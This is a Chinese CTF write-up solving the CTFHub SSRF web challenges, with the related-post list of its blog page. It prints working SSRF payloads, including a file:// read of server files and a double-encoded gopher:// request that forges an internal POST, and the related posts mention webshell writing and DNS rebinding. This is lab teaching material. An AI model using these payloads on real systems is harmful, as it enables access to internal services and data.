CTFHUB-web-SSRF

本文为博客 VIP 文章,开通 VIP 后可阅读全文

开通 VIP

内网访问

在这里插入图片描述

在这里插入图片描述

flag: ctfhub{efd010883e087c1346bbc0ba}

伪协议读取文件

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

只能用file协议来读取

?url=file:///var/www/html/flag.php

在这里插入图片描述
在这里插入图片描述

flag: ctfhub{451a2545bf1afa757e298a9e}

端口扫描

burp爆破

在这里插入图片描述

扫到一个

在这里插入图片描述

flag :ctfhub{d3e2486606b2bc1eb832eb02}

POST请求

访问127.0.0.1/flag.php多出了一个框

在这里插入图片描述

出了个提示

在这里插入图片描述

抓包看到一个key

在这里插入图片描述

看了下大佬的wp,访问304页面,可以看到端口

在这里插入图片描述

通过file协议读取flag.php

在这里插入图片描述

以及index.php

在这里插入图片描述

然后需要构建gopher协议需要的post请求

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=71084ee171d726d2069dc8489a96b204

注意:在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。
所以我们需要对构造的请求包进行两次 URL编码

URL编码

POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Length%3A%2036%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Akey%3D71084ee171d726d2069dc8489a96b204

将%0A全部手动替换为%0D%0A,因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0A%0D%0Akey%3D71084ee171d726d2069dc8489a96b204

二次URL编码

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D71084ee171d726d2069dc8489a96b204

最后的payload

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D71084ee171d726d2069dc8489a96b204

在这里插入图片描述

flag: ctfhub{6cd65256130ead742a197a47}

上传文件

在这里插入图片描述

看源码需要提交一个文件上去


Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

通过file协议读取flag.php

?url=file:///var/www/html/flag.php

flag.php的源码:

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   
   
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
   
   
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

index.php的源码,和上一道题目一样,往index.php传递文件

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
   
   
    header("Location: /?url=_");
    exit
ctfhub技能树web ctfhub技能树web方向wp 阅读详情

相关推荐

SSRF(3)伪协议读取文件&Gopher协议的利用

一:Http、Dict和file等协议的利用 1,内网访问 所以构造: /?url=http://127.0.0.1/flag.php 得到: ctfhub{ce475b59a4baee959112777b} 2,伪协议读取文件 最经典的PHP伪协议就是file:///协议了,可以用来读取php源码 构造payload: /?url=file:///var/www/html/flag.php 得到: 在单击右键查看源代码: 得到flag: ctfh..

m0_64417923的博客 4453

CTFhub技能树伪web——协议读取文件

php:// — 访问各个输入/输出流(I/O streams)伪协议:事实上是其支持的协议与封装协议。http:// — 访问 HTTP(s) 网址。ftp:// — 访问 FTP(s) URLs。file:// — 访问本地文件系统。

weixin_73049307的博客 571

ctfhub-web-ssrf通关攻略

题目提示我们访问本机的flag.php,那我们便去访问一下OK,出来结果。

qq_64470109的博客 1340

ctfhub技能树——ssrf

开启环境之后,会有提示,这关最简单,点击环境链接如图所示页面没有东西,查看网址,发现参数,输入本机地址的flag.php回车之后发现找到了flag,提交结束。

m0_73354559的博客 1067

CTFHub-Web-SSRF解题过程

开启环境访问后,url=后添加如下,得到flag。

2401_86440467的博客 2192

CTFHub技能树-Web-SSRF 解题方法

SSRF : 内网访问 伪协议读取文件file:// 端口扫描 Post请求 上传文件 FastCGI协议 Redis协议 【gopherus工具】 URL/数字IP/302 跳转/DNS重绑定 Bypass

qq_65379983的博客 1912

题解记录-CTFHub技能树|Web|SSRF

ssrf

weixin_57448435的博客 3289

CTFHub技能树Web-SSRF通关攻略

浏览器访问gopher一次编码,等待时间过长,直接访问shell.php看是否生成,进入木马地址,逐级寻找flag,得到flag。进入题目,url访问flag.php,没有这个文件,url访问index.php页面被解析,有这个文件,启动gopher程序。url访问flag,得到回显禁止127,172的开头访问,尝试localhost进行访问,页面得到flag。url访问flag,直接在url后面输入127.0.0.1/flag.php,得到flag。

duanjiaxu6666的博客 1145

ctfhub ssrf

先用file读一下源码,flag.php中有key且要本地访问,index.php可以传参,可以利用index里的curl用gopher构造post请求,在本地访问flag.php。用gopher写文件,具体原理可以看(https://blog.csdn.net/shinygod/article/details/126995090)的309题。那么直接打:(具体原理可看:https://blog.csdn.net/shinygod/article/details/127034013 的360题)

shinygod的博客 702

CTFHUB SSRF 【全】

CTFHUB SSRF 题解 【全】

Jay17的博客 1934

CTFHub技能树笔记之SSRF:内网访问、伪协议读取文件、端口扫描

小白一个,记录解题过程,如有错误请指正! 补充知识点: 1.什么是SSRF SSRF(Server-Side Request Forgery:服务器跨站请求),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击) 2.SSRF产生的原因 SSRF 形成的原因往往是由于服务端提供了从其他服务器应用...

weixin_48799157的博客 1万+

php伪协议文件包含-强行读取文件

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档。

hk_hkl的博客 2008

伪协议利用

PHP伪协议PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。

一只web狗 1893

SSRF详解 基于CTFHub(上篇)

本文简要介绍了SSRF服务端请求伪造的原理,并通过CTFHub的实例,介绍SSRF的基本原理、利用方式、绕过思路等。

Bossfrank的博客 2563

PHP-伪协议

常用的伪协议有就可以利用使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用解码,就可以获取文件的源码了。

摘星怪sec的blog 9628

CTFHubWEBSSRF(前四关)--内网访问、伪协议读取文件、端口扫描、post请求

配置好后开始攻击,根据长度不同查看到端口为8965端口已经查出但是请求错误,怀疑是dirt://不可用然后改成http://后,成功拿到。

weixin_57240513的博客 677

CTFHUB WEB ssfr漏洞(上)

随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。作用:Gopher协议可以说是SSRF中的万金油。在第一次编码要把%0A全部改成%0D0A,%0A是在linux系统中中代表换行符,在windos中是%0D0A代表换行符,但是网上的编码器大都是编码的%0A,所以我们需要改成windos能够识别的。

wwwwyyyrre的博客 369

Webctfhub基础知识之SSRF

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击,利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。

A_Gaming的博客 3610
上一篇: 新版MinGW-w64(12.2.0)安装
下一篇: BUUCTF Reverse/[2019红帽杯]childRE
ofo300
博客等级 码龄6年 631粉丝 162原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ofo300

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值